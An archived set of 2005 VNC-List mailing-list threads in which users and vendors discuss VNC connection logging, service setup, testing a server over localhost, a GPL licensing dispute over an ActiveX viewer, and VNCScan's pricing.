Winvnc.log in the folder that VNC is located in when the debug level is set to 2. Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console No added fat! No preservatives! -Original Message- From: Walt Whitman [mailto:[EMAIL PROTECTED] Sent: Tuesday, April 05, 2005 2:27 PM To: Steve Bostedor Subject: RE: How do I provide a log of who's accessed who with VNC I did try that but did not see a log anywhere. Do you have instructions. >>> "Steve Bostedor" <[EMAIL PROTECTED]> 04/05 11:24 AM >>> You can set the debugging on the VNC server to log connection attempts. You do this with the DebugLevel and DebugMode settings in the registry. You can get a list of registry settings at http://www.vncscan.com/vs/UltraVNCReg.htm or http://www.realvnc.com/products/free/4.1/winvnc.html Hope this helps! Steve Bostedor http://www.vncscan.com VNCScan Enterprise Console No added fat! No preservatives! -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Walt Whitman Sent: Tuesday, April 05, 2005 2:12 PM To: vnc-list@realvnc.com Subject: How do I provide a log of who's accessed who with VNC ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Is it possible to get it to work on to Acounts on WinXp
Are you talking about having them run concurrently or just to be able to switch users while in a single VNC session? To be able to switch between users without disrupting your VNC session, you should install VNC as a service. You can do this from the VNC program menu. I hope this helps! Steve Bostedor http://www.vncscan.com VNC management with less calories -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Petter Gulbrandsen Sent: Monday, April 04, 2005 6:31 PM To: vnc-list@realvnc.com Subject: Is it possible to get it to work on to Acounts on WinXp TomHi Is it possible to get real vnc to work on too accounts on WinXp maschine? I have to accounts, but when I`m trying to change it will not show the picture for the other account. Is it possible to get this to work? If i connect a monitor I can see that the VNC server is not loadet in that account... What do I do wrong? I hope somone understand what I mean? Best Regards Petter G. [demime 1.01d removed an attachment of type image/gif which had a name of Tom bakgrunn.gif] ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Suggestion
Have you guys tried out the following? http://sourceforge.net/projects/osxvnc/ ~and~ http://www.redstonesoftware.com/vnc.html - Steve Bostedor http://www.vncscan.com The Leader in VNC Management -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of James Weatherall Sent: Monday, April 04, 2005 11:30 AM To: 'Simon Hobson'; vnc-list@realvnc.com Subject: RE: Suggestion Simon, VNC Viewer for Mac OS X is in development but I'm afraid I can't give a release timeframe at this stage since there's still quite a bit of work to be done on it. An interim solution for Mac OS X users is the VNC Viewer for Java. Regards, Wez @ RealVNC Ltd. > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Simon Hobson > Sent: 04 April 2005 15:52 > To: vnc-list@realvnc.com > Subject: RE: Suggestion > > James Weatherall wrote: > > >In order to connect to VNC Server Enterprise Edition (on any > platform), you > >will need to use VNC Viewer Personal or VNC Viewer > Enterprise Edition. > > Which is available when for Mac ? > > Simon ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
Yury, No, actually I have no interest in a built in legacy activeX viewer. There is no real value in that. VNCScan ships with the appropriate viewer for the flavor of VNC being used and compliance with the GPL is not an issue. I think that maintaining a proprietary viewer that tries to fit all deployments is unnecessary overhead and produces absolutely no value. I assure you that I have no interest in your little control and I don't know who Mr. Smith is. Please don't take this route, Yury, it's not good for either of us. I have nothing against you or your product and I think that you competing with VNCScan is a good thing because it breeds innovations. Please don't turn this into an online drama. I'm not going to sit and debate over your control. I'll let everyone else do that. I just put in my $ .02 and I'm done commenting. :) You really should lighten up, though, you're starting to sound like the type of guy that he's describing you as. - Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Yury Averkiev Sent: Monday, April 04, 2005 9:51 AM To: Steve Bostedor; [EMAIL PROTECTED]; [EMAIL PROTECTED]; vnc-list@realvnc.com Subject: RE: What good is VNC's GPL? Steve, we have a strong belief that you are the guy behind all this flame. And the reason for that is because your VNCScan lucks a built-in VNC viewer feature. Sorry, it won't work for you. ViewerX is not violating the GPL license. Best regards, Yury SmartCode Solutions WWW: http://www.s-code.com Tel: +1 (650) 276-0434 or +65 91125904 Fax: +1 (801) 904-5158 From: "Steve Bostedor" <[EMAIL PROTECTED]> Sent: Monday, April 04, 2005 6:15 AM To: "James Weatherall" <[EMAIL PROTECTED]>, "Adam Moore" <[EMAIL PROTECTED]>, Subject: RE: What good is VNC's GPL? Hi everyone, I've been kinda quiet on this issue because their product competes with ours and I believe that it's best that I hold my toung for the most part. I've been very careful not to violate the GPL with my product since the very day that it was released but I can understand how Smartcode may have just simply misunderstood the GPL. Unless you have a lawyers mind, it's sometimes hard to wrap your brain around how it works. I strongly believe, though, that yuri will comply with the GPL now that it's explained by James. I think that Bob is correct in many aspects except that Yuri was being malicious in not giving up the code. I think that he just didn't know that he was in violation. (I hope, anyways) Bob, I honestly don't see the real value of that control anyways. What is this website that you plan to make of it that this control is so important for? I might be able to slap together an ActiveX control for you if you don't feel like waiting for this drama to play out. :) - Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of James Weatherall Sent: Monday, April 04, 2005 6:00 AM To: 'Adam Moore'; vnc-list@realvnc.com Subject: RE: What good is VNC's GPL? Adam, Since the ActiveX control is a work derived from the TightVNC Viewer, and since TightVNC is based upon the standard VNC Viewer 3.3.5, the ActiveX control must also be provided under the terms of the GPL. Cheers, Wez @ RealVNC Ltd. > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Adam Moore > Sent: 04 April 2005 03:56 > To: vnc-list@realvnc.com > Subject: Re: What good is VNC's GPL? [snip] > Our product is a wrapper around the TightVNC code. Before the ViewerX > development had been started, we were aware about circumstances of > using GPLed code. And since the intention was to build a commercial > component, we decided to make it GPL savvy and build a wrapper. That > is about the best I can give you. The difficulty we have answering > these questions comes from how far we must answer them. Unfortunately > a few people try to ask questions to reveal how our proprietary code > works. So it is difficult for us to answer more than that. ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Automatically change resolutions on server
That would be nice! Unfortunately, though, there's no setting to do that (to my knowledge). I suffer with the same issue, too. - Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Paul Baranovskiy Sent: Monday, April 04, 2005 9:41 AM To: vnc-list@realvnc.com Subject: Automatically change resolutions on server Hi, everyone. My first post to the list. I'm using windows version of realvnc. works great except for one little problem My vnc server's resolution is set higher than my viewer's resolution. I've tried scaling but that makes things impossible to read. Right now after i connect i change resolution on the server temporarily but that is inconvenient. Is there a way to change server's resolution automatically when i login to match my viewer's resolution and then change it automatically back when i logoff. ThankYou ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: What good is VNC's GPL?
Hi everyone, I've been kinda quiet on this issue because their product competes with ours and I believe that it's best that I hold my toung for the most part. I've been very careful not to violate the GPL with my product since the very day that it was released but I can understand how Smartcode may have just simply misunderstood the GPL. Unless you have a lawyers mind, it's sometimes hard to wrap your brain around how it works. I strongly believe, though, that yuri will comply with the GPL now that it's explained by James. I think that Bob is correct in many aspects except that Yuri was being malicious in not giving up the code. I think that he just didn't know that he was in violation. (I hope, anyways) Bob, I honestly don't see the real value of that control anyways. What is this website that you plan to make of it that this control is so important for? I might be able to slap together an ActiveX control for you if you don't feel like waiting for this drama to play out. :) - Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of James Weatherall Sent: Monday, April 04, 2005 6:00 AM To: 'Adam Moore'; vnc-list@realvnc.com Subject: RE: What good is VNC's GPL? Adam, Since the ActiveX control is a work derived from the TightVNC Viewer, and since TightVNC is based upon the standard VNC Viewer 3.3.5, the ActiveX control must also be provided under the terms of the GPL. Cheers, Wez @ RealVNC Ltd. > -Original Message- > From: [EMAIL PROTECTED] > [mailto:[EMAIL PROTECTED] On Behalf Of Adam Moore > Sent: 04 April 2005 03:56 > To: vnc-list@realvnc.com > Subject: Re: What good is VNC's GPL? [snip] > Our product is a wrapper around the TightVNC code. Before the ViewerX > development had been started, we were aware about circumstances of > using GPLed code. And since the intention was to build a commercial > component, we decided to make it GPL savvy and build a wrapper. That > is about the best I can give you. The difficulty we have answering > these questions comes from how far we must answer them. Unfortunately > a few people try to ask questions to reveal how our proprietary code > works. So it is difficult for us to answer more than that. ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: LocalHost
Yes, telnet will test if the port is listening but it isn't a complete connectivity test. You should enable loopback connections on the VNC server properties and then launch your VNC viewer against 127.0.0.1 to test the authentication and all of the other secrity settings that you are interested in. Be aware that doing this in Windows will cause a pretty trippy display of cascading windows. :) At least you will know if everything connected fine, though! - Steve Bostedor http://www.vncscan.com -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Yury Averkiev Sent: Sunday, April 03, 2005 9:07 AM To: [EMAIL PROTECTED]; vnc-list@realvnc.com Subject: re: LocalHost Geoff, why don't you use a telnet for that. In order to test that VNC server is up and running you can do the following. From a command line execute the command: telnet.exe localhost 5900 If the server is setup correctly you will a VNC server handshake string: RFB XXX.XXX Best regards, Yury SmartCode Solutions WWW: http://www.s-code.com Tel: +1 (650) 276-0434 or +65 91125904 Fax: +1 (801) 904-5158 From: [EMAIL PROTECTED] Sent: Sunday, April 03, 2005 3:01 AM To: vnc-list@realvnc.com Subject: LocalHost I'm having a few problems setting up RealVNC to work on a local network, strangely TightVNC worked immediately but I prefer the security settings on RealVNC as I am looking to eventually connect via a VPN connection. Is there a way I can test the set up using localhost or 127.0.0.1, I did try it but just got window after window after window appearing, which is understandable. At the moment I have not got two computers on my adsl/router set up to test it with. Geoff Lane Welwyn Hatfield Computer Club www.whcc.co.uk ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list ___ VNC-List mailing list VNC-List@realvnc.com To remove yourself from the list visit: http://www.realvnc.com/mailman/listinfo/vnc-list
RE: Time Logs
Hi Erik, Vince, and everyone else... VNCScan is licensed per-administrator as opposed to per-computer. When I say $40(US), I mean that it is $40 per administrator that will be using VNCScan. You can deploy/manage an unlimited number of computers with a single $40 license of VNCScan if you only have one Administrator. As you can see, nothing like it comes close to that price. It is set that low because I am a strong supporter of VNC and I believe that the per-computer licensing model is the biggest open scam in the computer industry. It doesn't cost us any more if you're using VNCScan on 5 or 1000 computers. Why should we charge huge per-computer costs? We'll leave ripping people off like that to other software developers. This is also not to mention that VNC is freeware. It would be very unethical for us (or anyone) to charger per-computer licensing on a program that deploys and manages 3rd party piece of software that is free. The line was drawn at per-administrator licensing just to cover support and development costs (and to put food on the table). There are a couple other VNC managers out there but they are very over priced and only one of them even comes close to the feature set found in VNCScan. That particular one costs over twice as much, too. I'm sorry that this turned into a sales pitch for VNCScan but I just wanted to make it known where I'm coming from and why the price was set how it is. I don't want to embellish upon the VNC developers hard work so I made sure that VNCScan had a feature set that stood on its own merits. We don't claim VNC as a "feature" of VNCScan like so many of these others do. It drives me crazy every time that I see one. I hope that my long winded response answered your question. ;) - Steve Bostedor http://www.vncscan.com P.S. James, this will be the last post to your list for a while that mentions VNCScan. =D If you guys have any other questions, feel free to email be at [EMAIL PROTECTED] or stop by the website. >-Original Message- >From: Erik Soderquist [mailto:[EMAIL PROTECTED] >Sent: Wednesday, March 30, 2005 10:46 AM >To: Steve Bostedor; Vince; Dave 18388; vnc-list@realvnc.com >Subject: RE: Time Logs > >$40 dollars for? one license? fifty? site/company license? > >personally, I'd do simple .cmd files that echo the time/date, >site, user, etc into a text file, launch the viewer with said >options, and echo the same line again, open and close line >would have open or close as one of the fields. comma sep >imports very nicely. > >-Original Message- >From: Steve Bostedor [mailto:[EMAIL PROTECTED] >Sent: Tuesday, March 29, 2005 19:46 >To: Vince; Erik Soderquist; Dave 18388; vnc-list@realvnc.com >Subject: RE: Time Logs > >VNCScan is shareware. It's only $40. For the features and >support that you get with VNCScan, you can't beat that price. > >-Original Message- >From: Vince [mailto:[EMAIL PROTECTED] >Sent: Tuesday, March 29, 2005 7:36 PM >To: Steve Bostedor; 'Erik Soderquist'; 'Dave 18388'; >vnc-list@realvnc.com >Subject: RE: Time Logs > > >And i guess it won't be free? > >-Oorspronkelijk bericht- >Van: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] >Namens Steve Bostedor >Verzonden: dinsdag 29 maart 2005 19:57 >Aan: Erik Soderquist; Dave 18388; vnc-list@realvnc.com >Onderwerp: RE: Time Logs >Urgentie: Laag > >The next version of VNCScan due out within a week will have this exact >feature. It is in the Computer Properties window. > >It has a tab that shows you the date, time, logged in user, >and duration >of every terminal server and vnc connection made from within VNCScan. > >It also has a tab for service logs where you can make note of what you >did while connected for later reference. > >Thanks, >Steve Bostedor >http://www.vncscan.com > > >>-Original Message- >>From: [EMAIL PROTECTED] >[mailto:[EMAIL PROTECTED] On > >>Behalf Of Erik Soderquist >>Sent: Tuesday, March 29, 2005 8:19 AM >>To: Dave 18388; vnc-list@realvnc.com >>Subject: RE: Time Logs >> >>please provide more detail as to the clients' and servers' setups. >>writing a custom unix script to do that for vncserver launched by >>xinetd would be useless in a windows only environment... >> >>-Original Message- >>From: [EMAIL PROTECTED] >[mailto:[EMAIL PROTECTED] On > >>Behalf Of Dave 18388 >>Sent: Thursday, March 24, 2005 14:45 >>To: vnc-list@realvnc.com >>Subject: Time Logs >> >> My company uses VNC to troubleshoot and help our clients and we >>were >> looking for an easy guide to se
